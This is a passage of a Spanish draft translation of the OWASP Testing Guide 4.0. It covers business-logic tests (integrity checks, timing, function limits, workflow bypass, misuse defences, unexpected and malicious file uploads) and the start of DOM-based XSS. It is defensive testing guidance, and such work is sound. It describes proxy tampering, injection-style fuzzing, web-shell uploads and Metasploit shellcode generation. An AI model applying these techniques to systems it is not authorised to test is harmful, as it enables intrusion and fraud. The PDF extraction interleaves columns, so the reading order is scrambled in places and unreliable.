La comprobación de vulnerabilidades de la integridad de la lógica del negocio son únicas, ya que estos casos de mal uso son específicos de cada aplicación y si los usuarios son capaces de hacer cambios, solo se debería poder escribir, actualizar o modificar artefactos específicos en momentos determinados por el proceso de la lógica del negocio.

Ejemplo Ejemplo 1 Imagine una aplicación GUI del tipo ASP.NET que sólo permite al usuario administrador cambiar la contraseña de otros usuarios en el sistema. El usuario administrador verá los campos nombre de usuario y contraseña para ingresar un nombre de usuario y contraseña mientras que otros usuarios no verán ninguno de estos campos. Sin embargo, si un usuario no administrador presenta información en el campo nombre de usuario y contraseña a través de un proxy , pueden ser capaces de "engañar" al servidor haciéndole creer que la solicitud proviene de un usuario administrador y así cambiar la contraseña de otros usuarios.

Ejemplo 2 La mayoría de las aplicaciones web tiene listas desplegables, lo que permite al usuario seleccionar rápidamente su estado, mes de nacimiento, etc.. Supongamos que una aplicación de gestión de proyectos permite a los usuarios iniciar una sesión y, dependiendo de sus privilegios, les presenta una lista desplegable de proyectos a los que tienen acceso.

¿Qué pasaría si un atacante encuentra el nombre de otro proyecto al que no debería tener acceso y envía la información a través de un proxy? ¿La aplicación le dará acceso al proyecto? No deberían tener acceso a pesar de haber evadido algún control de autorización de la lógica del negocio.

Ejemplo 3 Supongamos que el sistema de administración de vehículos a motor requiere que un empleado verifique al inicio toda la información y documentación de los ciudadanos cuando emiten una identificación o licencia de conducir.

En este punto, el proceso del negocio ha creado datos con un alto nivel de integridad, ya que la integridad de los datos se comprueba mediante la aplicación. Ahora, supongamos que la aplicación se mueve al internet para que los empleados puedan iniciar una sesión con acceso al servicio completo o los ciudadanos puedan conectarse con un acceso reducido a la aplicación de autoservicio para actualizar cierta información. En este punto,

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 284

Guia de pruebas 4.0 "Borrador"

un atacante puede usar un proxy interceptor para agregar o actualizar datos a los que no debería tener acceso y podría destruir la integridad de los datos indicando que el ciudadano no estaba casado, pero suministrando los datos para el nombre de un cónyuge. Este tipo de inserción o actualización de datos no verificados destruye la integridad de los datos y podría haberse evitado si se seguía la lógica del proceso del negocio.

Ejemplo 4 Muchos sistemas incluyen registros para el propósito de auditoría y solución de problemas. Pero, ¿qué tan buena/válida es la información de estos registros? ¿Pueden ser manipulados por los atacantes intencional o accidentalmente, destruyendo su integridad?

Método de prueba específica 2 • Usando un proxy, capture cualquier tráfico HTTP en busca de un lugar para insertar información en las áreas de la aplicación que no son editables.

•Si los encuentra, vea cómo este campo se compara con la aplicación GUI e interrogue a este valor mediante el proxy, presentando diferentes valores, tratando de eludir los procesos del negocio y manipulando los valores a los que no debería tener acceso..

Método de prueba específica 3 • Liste los componentes de la aplicación o sistema que pueden ser editados, por ejemplo, registros o bases de datos.

Cómo probar Método de prueba genérica • Revise la documentación del proyecto y utilice una prueba exploratoria en busca de piezas de la aplicación/sistema (componentes, por ejemplo, los campos de entrada, las bases de datos o registros) que mueven, almacenan o manejan datos/información.

•En cada componente identificado, tratar de leer, editar o eliminar su información. Por ejemplo, los archivos de registro deben identificarse y los evaluadores deben tratar de manipular la información que recogen.

Casos de prueba relacionados • Para cada componente identificado, determine qué tipo de datos/información son lógicamente aceptables y de qué tipo de aplicación/sistema debe protegerse. Tome en cuenta también quién, según la lógica del negocio, tiene autorización para insertar, actualizar y eliminar datos/información y en qué componente.

Todos los casos de prueba de validación de ingresos.

Herramientas • Varias herramientas del sistema/aplicación como editores y herramientas de manipulación de archivos.

• Intente insertar, actualizar, editar o borrar los valores de la información con datos no válidos en cada componente (es decir, entrada, base de datos o registro) para los usuarios que no deben tener permiso en el flujo de trabajo de la lógica del negocio.

.

• OWASP Zed Attack Proxy (ZAP): owasp.org Método de prueba específica 1 • Usando una proxy capture cualquier tráfico de HTTP en búsqueda de campos ocultos.

• Si encuentra un campo oculto, vea cómo este campo se compara con la aplicación GUI e interrogue a este valor mediante el proxy, presentando diferentes valores, tratando de eludir los procesos del negocio y manipulando los valores a los que no debería tener acceso.

ZAP es una herramienta de pruebas de penetración integrada, fácil de usar para encontrar vulnerabilidades en aplicaciones web. Está diseñada para ser utilizada por personas con amplia experiencia en seguridad y, como tal, es ideal para desarrolladores y evaluadores funcionales que son nuevos en el uso de pruebas de penetración. ZAP ofrece escáneres automatizados, así como un conjunto de herramientas que permiten encontrar las vulnerabilidades de seguridad manualmente..

Referencias

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 285

Guia de pruebas 4.0 "Borrador"

• Implementing Referential Integrity and Shared Business Logic in a RDB: agiledata.org

acuerdo a eso, cambiar el comportamiento basado en esa expectativa y "jugarle al sistema".

• On Rules and Integrity Constraints in Database Systems: comp.nus.edu.sg

Ejemplo Ejemplo 1

• Use referential integrity to enforce basic business rules in Oracle: techrepublic.com

• Maximizing Business architects.dzone.com

Logic

Reuse

with

Reactive

Los videos de juegos de azar/tragamonedas pueden tardar más tiempo en procesar una transacción antes de realizar un desembolso fuerte. Esto permitiría a los jugadores astutos apostar cantidades mínimas hasta que vean el tiempo de proceso largo que los haría apostar el máximo.

Logic: Ejemplo 2

• Tamper Evidence Logging - http://tamperevident.cs.rice.eduLogging.html

Remediación La aplicación debe ser lo suficientemente inteligente como para comprobar las ediciones relacionales y no permitir a los usuarios enviar información directamente al servidor sin que ésta se haya validado, simplemente porque vino desde controles no editables o porque el usuario no está autorizado a enviar desde la sección de acceso público. Además, cualquiera de los componentes que se puede editar debe tener mecanismos para prevenir la escritura o actualización accidental/intencional.

Prueba del tiempo de procesamiento (OTG-BUSLOGIC-004) Resumen Es posible que los atacantes puedan recopilar información sobre una aplicación controlando el tiempo que le toma para completar una tarea o dar una respuesta. Además, los atacantes pueden ser capaces de manipular y quebrar los flujos de procesos del negocio diseñados, simplemente manteniendo las sesiones activas y no enviando sus transacciones en el tiempo "esperado".

Las vulnerabilidades de la lógica de sincronización de procesos son únicas, porque en estos casos manuales de mal uso deben crearse considerando la ejecución y sincronización de transacciones que son específicas de cada aplicación/sistema.

Muchos procesos de registro de sistema solicitan el nombre de usuario y la contraseña. Si usted mira de cerca, podrá ver que ingresar un nombre de usuario y una contraseña no válidos requiere más tiempo para devolver un error que ingresar un nombre de usuario válido y una contraseña no válida. Esto puede permitir al atacante saber si tienen un nombre de usuario válido y no necesitan confiar en el mensaje de GUI.

Ejemplo 3 La mayoría de arenas o agencias de viajes tienen aplicaciones que permiten a los usuarios comprar boletos y reservar asientos. Cuando el usuario solicita los boletos, los asientos se bloquean o reservan quedando pendientes de pago. ¿Qué pasaría si un atacante sigue reservando asientos, pero no sale del sistema? ¿Se liberarán los asientos, o no se venderán los boletos? Algunos proveedores de boletos ahora sólo permiten a los usuarios tomarse cinco minutos para completar una transacción o se invalida la transacción.

Ejemplo 4 Supongamos que un sitio de comercio electrónico de metales preciosos permite a los usuarios hacer compras con una cotización del precio basada en el precio de mercado vigente en el momento que inicia la sesión. ¿Qué pasaría si un atacante inicia la sesión y realiza un pedido y no completa la transacción hasta más tarde en el día cuándo el precio de los metales ha subido? ¿El atacante conseguirá el precio bajo inicial?

Cómo probar

El tiempo de procesamiento puede dar/fugar información sobre lo que se hace en los procesos ocultos del sistema/aplicación. Si una aplicación permite a los usuarios adivinar cuál será el siguiente resultado en particular al procesar las variaciones de tiempo, los usuarios podrán ajustar y, de

•Revise la documentación del proyecto y utilice pruebas exploratorias en búsqueda de la funcionalidad del sistema/aplicación que pueda ser afectado por el tiempo, como puede ser el tiempo de ejecución o acciones que ayuden a los usuarios a predecir un resultado futuro o le permitan eludir cualquier parte de la lógica del negocio o flujo de trabajo. Por ejemplo, no completar las transacciones en un tiempo esperado.

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 286

Guia de pruebas 4.0 "Borrador"

aplicaciones pueden tener un plan de suscripción y sólo permitir a los usuarios descargar tres documentos completos por mes. • Desarrolle y ejecute los casos de mal uso ;asegúrese de que los atacantes no puedan ganar una ventaja basada en cualquier tiempo.

Casos de prueba relacionados

Las vulnerabilidades relacionadas con la prueba de los límites de la función son de aplicación específica y se deben crear casos de uso indebido que se esfuercen por probar las partes de las aplicaciones/funciones o acciones más veces de las permitidas.

• Pruebas de los atributos de las cookies (OTG-SESS-002)

• Pruebas del tiempo de cierre de sesión (OTG-SESS-007)

Los atacantes pueden ser capaces de eludir la lógica del negocio y ejecutar una función más veces que las "permitidas" al explotar la aplicación para obtener beneficios personales.

Referencias Ejemplo Ninguna

Remediación Desarrolle aplicaciones con el tiempo de procesamiento en mente. Si los atacantes pueden obtener algún tipo de ventaja al conocer los diferentes tiempos de procesamiento y los resultados, agregue pasos adicionales para que, sin importar los resultados, se proporcione el mismo marco de tiempo de procesamiento.

Además, el sistema/aplicación debe tener mecanismos que no permitan a los atacantes extender las operaciones sobre una cantidad "aceptable" de tiempo. Esto se puede hacer mediante la cancelación o reinicio de las transacciones después de un período de tiempo determinado, como algunos vendedores de boletos están haciéndolo ahora.

Prueba del número de veces que limita el uso de una función (OTGBUSLOGIC-005) Resumen

Supongamos que un sitio de comercio electrónico permite a los usuarios aprovechar alguno de los muchos descuentos en su compra total y luego proceder a salir y licitar. ¿Qué sucede si el atacante navega a la página de descuentos después de tomar y aplicar el descuento "admisible"? ¿Pueden tomar ventaja de otro descuento? ¿Pueden tomar ventaja del mismo descuento varias veces?

Cómo probar •Revise la documentación del proyecto y utilice pruebas exploratorias en busca de funciones o características de la aplicación o sistema que no deban ser ejecutadas más de una vez o un número especifico de veces durante el flujo de la lógica del negocio.

•Para cada una de las funciones y características que sólo debe ejecutarse una vez o un número especifico de veces durante el flujo de la lógica del negocio, desarrolle casos de abuso/mal uso que pueden permitir a un usuario ejecutar más veces del número permitido. Por ejemplo, ¿un usuario puede navegar hacia atrás y hacia adelante varias veces a través de las páginas y ejecutar una función que debería ejecutarse sólo una vez? ¿Un usuario puede cargar y descargar los carros de compras para obtener descuentos adicionales?.

Muchos de los problemas que están resolviendo las aplicaciones requieren límites al número de veces que se puede utilizar una función o se puede ejecutar una acción. Las aplicaciones deben ser lo "suficientemente inteligentes" para no permitir que el usuario exceda su límite en el uso de estas funciones ya que, en muchos casos, cada vez que se utiliza la función, el usuario puede obtener algún tipo de beneficio que debe ser anotado para compensar acertamente al propietario.

• Pruebas de enumeración de cuentas y adivinanza de cuentas de usuario (OTG-IDENT-004)

Por ejemplo: Un sitio de comercio electrónico sólo puede permitir que los usuarios apliquen un descuento una vez por cada transacción, o algunas

• Pruebas para determinar un mecanismo de bloqueo débil (OTG-AUTHN003)

Casos de prueba relacionados

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 287

Guia de pruebas 4.0 "Borrador"

y se deben desarrollar cuidadosamente casos de mal uso manuales; deben desarrollarse usando los requisitos y casos de uso. Referencias InfoPath Forms Services business logic exceeded the maximum limit of operations Rule: mpwiki.viacode.com

Gold Trading Was Temporarily Halted On The CME This Morning: businessinsider.com

El proceso de negocio de las aplicaciones debe tener controles para asegurar que las transacciones/acciones del usuario sucedan en el orden correcto/aceptable y, si una transacción provoca algún tipo de acción, que esa acción se "deshaga" y se retire si la transacción no se ha completado con éxito.

Ejemplos Remediación Ejemplo 1 La aplicación debe tener controles para asegurar que se sigue la lógica del negocio y si una función/acción sólo puede ejecutarse un cierto número de veces y, cuando se alcanza el límite, el usuario no puede ejecutar la función.

Para evitar que los usuarios usen una función más veces de las adecuadas, la aplicación puede utilizar mecanismos tales como cookies para contabilizar o mediante sesiones, que no permitan a los usuarios acceder a ejecutar la función más veces.

Pruebas para la evasión de los flujos de trabajo (OTG-BUSLOGIC-006)

Muchos de nosotros recibimos algún tipo de "puntos de club/fidelidad" por las compras en supermercados y gasolineras. Supongamos que un usuario pudo iniciar una transacción vinculada a su cuenta y luego, después de agregar puntos a su cuenta de club/lealtad, cancela la transacción o quita elementos de su "canasta" y licita.

En este caso, el sistema no debe aplicar puntos/créditos a la cuenta hasta que se licita o los puntos/créditos deben "deshacerse" si el incremento de puntos/crédito no coinciden con la oferta final. Con esto en mente, un atacante puede iniciar transacciones y cancelarlas, para aumentar su nivel de puntos sin realmente comprar algo.

Resumen Las vulnerabilidades del flujo de trabajo incluyen cualquier tipo de vulnerabilidad que permite al atacante hacer mal uso de una aplicación o sistema de una manera que les permita evadir (no seguir) el flujo de trabajo diseñado/deseado.

“Un flujo de trabajo consiste en una secuencia de pasos conectados, donde cada paso sigue sin retraso o diferencia y termina justo antes de que pueda empezar el paso siguiente Es una representación de una secuencia de operaciones, declarada como trabajo de una persona o grupo, una organización de personal o uno o más mecanismos simples o complejos. El flujo de trabajo puede ser visto como cualquier abstracción del trabajo real.” (https://en.wikipedia.org/wiki/Workflow)

Ejemplo 2 Un sistema de tablero de anuncios electrónicos puede estar diseñado para garantizar que los mensajes iniciales no contengan groserías sobre la base de una lista con la que se compara la nota. Si una palabra de la "lista negra" se encuentra en el texto ingresado por el usuario, la presentación no se publica. Pero, una vez que se registra la carga, el remitente puede acceder, editar y cambiar el contenido de la nota para aumentar palabras incluidas en la lista de malas palabras/negra ya que al editar la publicación nunca se compara nuevamente. Considerando esto, los atacantes pueden abrir un debate inicial en blanco o mínimo y, luego, añadir lo que quiera como una actualización.

Cómo probar Método de prueba genérico

La lógica del negocio de la aplicación debe pedir al usuario que complete los pasos específicos en el orden correcto/específico y si el flujo de trabajo se termina sin completarse correctamente, todas las acciones que generó se "deshacen" o cancelan. Las vulnerabilidades relacionadas con la evasión de los flujos de trabajo o el saltarse el flujo de trabajo de la lógica del negocio correcto son únicas ya que son muy específicas para cada sistema/aplicación

•Revise la documentación del proyecto y utilice pruebas exploratorias en busca de métodos para saltar o ir a otros pasos en el proceso de la aplicación, en un orden diferente del flujo de la lógica del negocio diseñado/esperado.

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 288

Guia de pruebas 4.0 "Borrador"

• Para cada método, desarrolle un caso de mal uso y trate de evitar o realizar una acción que sea "inaceptable" por el flujo de trabajo de la lógica del negocio.

• Prueba de comprobación de integridad (OTG-BUSLOGIC-003)

• Prueba del tiempo de procesamiento (OTG-BUSLOGIC-004) Método de prueba específico 1 • Inicie una transacción dentro de la aplicación hasta pasar los puntos que disparan los créditos/puntos hacia la cuenta del usuario.

• Prueba del número de veces que limita el uso de una función (OTGBUSLOGIC-005)

•Cancele la transacción o reduzca la oferta final de manera que los valores del punto deban ser disminuidos y compruebe el sistema de puntos/crédito para asegurarse que se registraron los puntos/créditos adecuados.

• Prueba de las defensas contra el mal uso de la aplicación (OTGBUSLOGIC-007)

Método de prueba específico 2

• Prueba de la posibilidad de carga de tipos de archivos inesperados (OTGBUSLOGIC-008)

• En un administrador de contenidos o sistema de tablero de anuncios, entre y guarde texto inicial o valores válidos. • Prueba de la posibilidad de carga de archivos maliciosos (OTGBUSLOGIC-009) • Luego intente añadir, editar y eliminar datos que dejarían a los datos existentes en un estado inválido o con valores inválidos para asegurar que al usuario no le esté permitido guardar la información incorrecta. Algunos datos o información "no válidos" pueden ser palabras específicas (palabras soeces) o temas específicos (por ejemplo, cuestiones políticas).

Referencias

Casos de prueba relacionados

• Real-Life Example of a ‘Business Logic Defect:

• OWASP Detail Misuse Cases: owasp.org

infosecisland.com • Probar la inclusión de archivos de directorio de circulación (OTG-AUTHZ001)

• Top 10 Business Logic Attack Vectors Attacking and Exploiting Business Application Assets and Flaws – Vulnerability Detection to Fix: ntobjectives.com

• Pruebas para eludir el esquema de autorización (OTG-AUTHZ-002)

• CWE-840: Business Logic Errors: cwe.mitre.org • Pruebas del esquema de gestión de sesión (OTG-SESS-001)

Remediación • Prueba de la validación de datos de la lógica del negocio (OTGBUSLOGIC-001)

• Prueba de la habilidad de manipular consultas (OTG-BUSLOGIC-002)

La aplicación debe ser autoconsciente y tener comprobaciones localizadas que aseguren que los usuarios completen cada paso del proceso del flujo de trabajo en el orden correcto y evitar que los atacantes eludan/salten/o repitan los pasos/procesos del flujo de trabajo. Probar las vulnerabilidades de flujo de trabajo implica el desarrollar casos de abuso/mal uso de la lógica del negocio con el objetivo de completar el proceso de negocio al no completar los pasos correctos en el orden correcto.

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 289

Guia de pruebas 4.0 "Borrador"

Prueba de las defensas contra el mal uso de la aplicación (OTGBUSLOGIC-007) Resumen El mal uso y uso no válido de una funcionalidad válida pueden identificar ataques que trata de enumerar la aplicación web, identificar las debilidades y explotar vulnerabilidades. Deberían realizarse pruebas para determinar si existen mecanismos defensivos a nivel de la aplicación para proteger la aplicación.

Si la aplicación no responde de ninguna manera y el atacante puede continuar abusando de la funcionalidad y envia contenido claramente malicioso hacia la aplicación, la aplicación ha fallado este caso de prueba. En la práctica, es poco probable que las acciones discretas del ejemplo anterior sucedan así. Es mucho más probable que una herramienta de fuzzing se utilice para identificar las debilidades de cada parámetro a la vez. Esto es lo que un evaluador de seguridad habrá llevado a cabo, también.

Cómo probar

La falta de defensas activas permite que un atacante cace las vulnerabilidades sin necesitar de recurrir a ellas. Así, el propietario de la aplicación no sabrá que su aplicación está bajo ataque.

Esta prueba en que el resultado puede obtenerse de todas las pruebas realizadas contra la aplicación web es inusual. Al realizar todas las pruebas, tome nota de las medidas que indiquen que la aplicación tiene un sistema de autodefensa incorporado:

Ejemplo

• Respuestas cambiadas

Un usuario autenticado sigue la siguiente secuencia de acciones (poco probables):

• Solicitudes bloqueadas • Acciones que desconectan al usuario o bloquean la cuenta del usuario

[1] Intenta acceder a un identificador de archivo que su rol de usuario no permite descargar.

Estas sólo pueden ser localizadas. Las defensas comúnmente localizadas (por función) son:

[2] Sustituye una comilla simple (‘) en lugar del número de identificación del archivo. [3] Altera una solicitud GET convirtiéndola en POST.

• Rechazar los ingresos que contienen determinados caracteres.

[4] Agrega un parámetro extra.

• Bloquear una cuenta temporalmente después de una serie de fallos de autenticación.

[5] Duplica el parámetro de la pareja nombre/valor.

La aplicación supervisa el mal uso y responde después del quinto evento; entonces podríamos decir con certeza que el usuario es un atacante. Por ejemplo, la aplicación hace lo siguiente:

Los controles de seguridad localizados no son suficientes. Normalmente no hay defensas contra el mal uso general tal como: • Navegación forzosa • Evitar la validación de niveles de entrada de presentación

• Inhabilita la funcionalidad crítica.

• Controles de errores de accesos múltiples

• Activa medidas de autenticación adicionales para las funciones restantes.

• Parámetros adicionales de nombres, duplicados o faltantes

• Agrega retrasos de tiempo en cada ciclo de petición-respuesta.

• Validación de ingresos múltiples o fallas de verificación de la lógica del negocio con valores que no pueden ser el resultado de errores o faltas ortográficas del usuario

• Comienza a grabar datos adicionales sobre las interacciones del usuario (por ejemplo encabezados de solicitudes HTTP desinfectados, cuerpos y cuerpos de respuesta).

• Recepción de datos estructurados (por ejemplo, JSON, XML) de un formato no válido

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 290

Guia de pruebas 4.0 "Borrador"

• Se reciben cross-site scripting descarado o cargas de inyecciones SQL • Utilizar la aplicación más rápido de lo que debería ser posible sin herramientas de automatización

• IR 7684 Common Misuse Scoring System (CMSS), NIST: csrc.nist.gov

• Cambio en la geo-localización continental de un usuario • Cambio de agente de usuario • Acceso a un proceso de negocios de etapas múltiples en el orden incorrecto • Un gran número o un alto indice de uso de la funcionalidad específica de la aplicación (por ejemplo: presentación del código del recibo, pagos fallidos con tarjeta de crédito, carga de archivos, descargas de archivos, registro de salidas, etc.).

• Common Attack Pattern Enumeration and Classification (CAPEC),The Mitre Corporation: capec.mitre.org

• OWASP_AppSensor_Project: owasp.org

• AppSensor Guide v2, OWASP: owasp.org Estas defensas funcionan mejor en las partes autenticadas de la aplicación, aunque la tasa de creación de nuevas cuentas o acceso al contenido (por ejemplo, para raspar información) pueden ser de utilidad en las zonas comunes.

No todos los casos anteriores deben ser monitoreados por la aplicación, pero hay un problema si ninguno de ellos lo está. Probando la aplicación web, haciendo el tipo de acciones anteriores, ¿ hubo alguna respuesta contra el evaluador? Si no, el evaluador deberá informar que la aplicación parece no tener ninguna aplicación de defensa activa contra el uso indebido. Tenga en cuenta que a veces es posible que todas las respuestas sobre la detección de ataques son silenciosas para el usuario (por ejemplo, cambios del registro, mayor monitoreo, alertas a los administradores y uso de proxy), por lo que no se garantiza la confianza en este hallazgo. En la práctica, muy pocas aplicaciones (o infraestructura relacionada como un cortafuegos de aplicación web) detecta estos tipos de mal uso.

• Watson C, Coates M, Melton J and Groves G, Creating Attack Aware Software Applications with Real-Time Defenses, CrossTalk The Journal of Defense Software Engineering, Vol. 24, No. 5, Sep/Oct 2011: crosstalkonline.org

Prueba de la posibilidad de carga de tipos de archivos inesperados (OTG-BUSLOGIC-008) Resumen Muchos procesos del negocio de las aplicaciones permiten la carga y manipulación de datos que se envían por medio de archivos. Pero el proceso del negocio debe comprobar los archivos y permitir sólo los archivos "aprobados". Decidir qué archivos deben ser "aprobados" se determina mediante la lógica del negocio y es específico del sistema/aplicación.

Casos de prueba relacionados Todos los otros casos son relevantes.

Herramientas

El riesgo en permitir a los usuarios cargar archivos es que los atacantes pueden enviar un tipo de archivo inesperado que podría ejecutarse y tener un impacto adverso sobre la aplicación o sistema a través de ataques que pueden desfigurar el sitio web, ejecutar comandos remotos, navegar por los archivos del sistema, navegar en los recursos locales, atacar a otros servidores o explotar las vulnerabilidades locales, sólo para nombrar unos pocos.

El probador puede usar muchas de las herramientas utilizadas para los otros casos de prueba.

Referencias • Resilient Software, Software Assurance, US Department Homeland Security: buildsecurityin.us-cert.gov

Las vulnerabilidades relacionadas con la carga de los distintos tipos de archivos inesperados es única, ya que la carga debe rechazar rápidamente un archivo si no tiene una extensión específica. Además, esto es diferente de la carga de archivos maliciosos puesto que, en la mayoría de los casos, un formato incorrecto puede no ser inherentemente "malévolo" pero puede ser perjudicial para los datos guardados. Por ejemplo, si una aplicación acepta archivos de Excel de Windows, si se carga un archivo de base de datos

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 291

Guia de pruebas 4.0 "Borrador"

similar puede leerse, pero los datos extraídos pueden moverse a lugares incorrectos.

• En la aplicación, navegue hasta la presentación del archivo o el mecanismo de carga.

La aplicación puede estar esperando que solamente se carguen ciertos tipos de archivos para su procesamiento, tales como archivos .CSV o txt. La aplicación no puede validar el archivo subido por su extensión (para validación de archivos de baja seguridad) o contenido (para validación de archivos de alta seguridad). Esto puede dar lugar a resultados inesperados por parte del sistema o la base de datos en el sistema/aplicación o dar a los atacantes métodos adicionales para explotar el sistema/aplicación.

• Envíe los archivos "no aprobados"para cargar y compruebe que se previene la carga correctamente.

Casos de prueba relacionados • Pruebe el manejo de archivos de extensiones en busca de información sensible (OTG-CONFIG-003)

Ejemplo

• Prueba de la posibilidad de carga de archivos maliciosos (OTGBUSLOGIC-009)

Supongamos que una aplicación para compartir imágenes permite a los usuarios cargar un archivo gráfico .gif o .jpg en el sitio web. ¿Qué pasaría si un atacante es capaz de subir un archivo html con una etiqueta <script> o un archivo php? El sistema podría mover el archivo desde una ubicación temporal hacia la ubicación final donde ahora puede ejecutarse el código php contra el sistema o aplicación.

Referencias

Cómo probar

• File upload security best practices: Block a malicious file

Método de Prueba Genérico • Revise la documentación del proyecto y realice algunas pruebas exploratorias buscando tipos de archivos que deben aparecer como "no soportados" por el sistema/aplicación.

• OWASP - Unrestricted File Upload: owasp.org

upload: computerweekly.com

• Stop people uploading malicious PHP files via forms: stackoverflow.com

• Trate de subir estos archivos "no admitidos" y verifique si son rechazados correctamente.

• CWE-434: Unrestricted Upload of File with Dangerous Type: cwe.mitre.org

• Si puede subir varios archivos a la vez, debe haber pruebas en el sitio para verificar que cada archivo sea evaluado correctamente. • Secure Programming Tips - Handling File Uploads: Método de Prueba Específico

datasprings.com

• Estudie los requisitos lógicos de la aplicación. Remediación • Prepare una biblioteca de archivos "no aprobados" para la carga que puede contener archivos tales como: archivos jsp, exe o html que contienen scripts.

Las aplicaciones se deben desarrollar con mecanismos para que sólo acepte y manipule archivos "aceptables" que el resto de funcionalidades de la aplicación estén listas y esperando. Algunos ejemplos específicos incluyen: listas negras o blancas de extensiones de archivo, utilizando el "ContentType" del encabezado o usando un reconocedor de tipo de archivo, todo esto sólo permitir tipos de archivo específicos en el sistema.

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 292

Guia de pruebas 4.0 "Borrador"

Prueba de la posibilidad de carga de archivos maliciosos (OTGBUSLOGIC-009)

• Revise la documentación del proyecto y realice algunas pruebas exploratorias mirando el sistema/aplicación para identificar lo que constituye un archivo "malicioso" en su entorno.

Resumen • Desarrolle o consiga un archivo "malicioso" conocido. Bastantes procesos de negocio dentro de muchas aplicaciones permiten la carga de información. Regularmente verificamos la validez y seguridad del texto, pero el aceptar archivos puede implicar aún más riesgo. Para reducir el riesgo sólo podemos aceptar determinadas extensiones de archivo, pero los atacantes son capaces de encapsular un código malicioso en tipos de archivo inerte. Probar en busca de archivos maliciosos verifica que el sistema/aplicación es capaz de protegerse correctamente contra la carga de archivos maliciosos por parte de los atacantes.

• Trate de cargar el archivo malicioso al sistema/aplicación y verifique si se lo rechaza correctamente.

• Si puede subir varios archivos a la vez, debe haber pruebas en el sitio para verificar que cada archivo sea evaluado correctamente. Las vulnerabilidades relacionadas con la carga de archivos maliciosos son únicas; en ellas, estos archivos "maliciosos" pueden ser rechazados fácilmente mediante la inclusión de una lógica del negocio que analiza los archivos durante el proceso de carga y rechaza aquellos percibidos como maliciosos. Adicionalmente, esto difiere de la carga de archivos inesperados en que, mientras el tipo de archivo puede ser aceptado, el archivo todavía puede ser malicioso para el sistema. Por último, "malicioso" tiene distintos significados según el sistema. Por ejemplo, archivos maliciosos que pueden explotar vulnerabilidades del servidor SQL pueden no ser considerados " maliciosos" en un entorno de archivos planos del procesador central.

La aplicación puede permitir la carga de archivos maliciosos que incluyen explotaciones o shellcode sin someterlos a un análisis de archivos maliciosos. Los archivos maliciosos pueden detectarse y detenerse en varios puntos de la arquitectura de la aplicación, tales como: IPS/IDS, software antivirus para servidor de aplicaciones o análisis antivirus por cada aplicación, a medida que se cargan los archivos (tal vez descargando el análisis mediante SCAP).

Ejemplo Supongamos que una aplicación para compartir imágenes permite a los usuarios cargar un archivo gráfico .gif o .jpg en el sitio web. ¿Qué pasaría si un atacante es capaz de subir un PHP shell, o archivo exe o virus? El atacante entonces podría cargar un archivo que puede ser guardado en el sistema y el virus se puede reproducir por sí mismo o a través de procesos remotos, y archivos .exe o shell code puede ejecutarse.

Cómo probar Método de prueba Genérico

Método de Prueba Específico1 • Utilizando la funcionalidad de carga Metasploit,genere un shellcode similar a un ejecutable de Windows; utilice el comando Metasploit “msfpayload”.

• Envíe el ejecutable mediante la funcionalidad para cargar la aplicación y compruebe si es aceptada o se previene la carga correctamente.

Método de Prueba Específico 2 • Desarrolle o cree un archivo que debe fallar en el proceso de detección de malware de la aplicación. Hay muchos disponibles en Internet tales como ducklin.htm o ducklin-html.htm.

• Envíe el ejecutable mediante la funcionalidad para cargar la aplicación y compruebe si es aceptada o se previene la carga correctamente.

Método de prueba específico 3 • Configure el proxy interceptor para que capture la solicitud “válida” de un archivo aceptado.

• Envíe una solicitud “inválida” mediante una extensión de archivo válido/aceptable y observe si la solicitud es aceptada o rechazada adecuadamente.

Casos de prueba relacionados

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 293

Guia de pruebas 4.0 "Borrador"

infosecauditor.wordpress.com • Pruebe el Manejo de Archivos de Extensiones en busca de información sensible (OTG-CONFIG-003) • Watchful File Upload: palizine.plynt.com • Prueba de la posibilidad de carga de tipos de archivos inesperados (OTGBUSLOGIC-008) • Matasploit Generating Payloads: offensive-security.com Herramientas • Metasploit’s payload generation functionality

• Project Shellcode - Shellcode Tutorial 9: Generating Shellcode Using Metasploit: projectshellcode.com

• Intercepting proxy • Anti-Malware Test file: eicar.org Referencias • OWASP - Unrestricted File Upload: owasp.org

• Why File Upload Forms are a Major Security Threat: www.acunetix.com

Remediación Aunque las salvaguardias como las listas negra o blanca de las extensiones de archivo, que utilizan el "Content-Type" como encabezado o que usan un reconocedor de tipo de archivo no sean siempre protecciones contra este tipo de vulnerabilidad, cada aplicación que acepta archivos de usuarios debe tener un mecanismo para verificar que el archivo no contiene un código malicioso. Nunca deben guardarse archivos donde los usuarios o los atacantes pueden acceder directamente a ellos.

• File upload security best practices: Block a malicious file upload: computerweekly.com

• Overview of Malicious File Upload Attacks: securitymecca.com

• Stop people uploading malicious PHP files via forms :

Probando el lado del cliente Probar el lado del cliente se refiere a la ejecución de código en el cliente, normalmente nativo en un navegador web o plugin de navegador. La ejecución de código en el lado del cliente es distinta a ejecutarla en el servidor y devolver el contenido posterior. Prueba del Cross site scripting basado en DOM (OTG-CLIENT-001) Resumen

stackoverflow.com

• How to Tell if a File is Malicious: techsupportalert.com

Cross site scripting basado en DOM es el nombre de facto para errores XSS que son el resultado del contenido activo del lado del navegador en una página, generalmente JavaScript, que obtiene ingresos del usuario y luego hace algo inseguro, lo que lleva a la ejecución de código inyectado. Este documento sólo habla de errores de JavaScript que conducen a XSS.

• CWE-434: Unrestricted Upload of File with Dangerous Type: cwe.mitre.org

• Implementing Secure File Upload:

El DOM o Modelo de Objeto del Documento (Document Object Model) es el formato estructural utilizado para representar documentos en un navegador. El DOM permite scripts dinámicos como JavaScript para referenciar los componentes del documento como un campo de formulario o una cookie de sesión. El DOM también se utiliza en el navegador por seguridad - por

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 294

Guia de pruebas 4.0 "Borrador"

ejemplo, para limitar a los scripts de dominios distintos el obtener las cookies de sesión desde otros dominios. Una vulnerabilidad XSS basada en DOM ocurre cuando se modifica el contenido activo, como una función de JavaScript; se modifica con una solicitud especialmente diseñada, tal como un elemento DOM que puede ser controlado por un atacante.

Ha habido muy pocos trabajos publicados sobre este tema y, como tal, existe muy poca estandarización de su significado y pruebas formales.

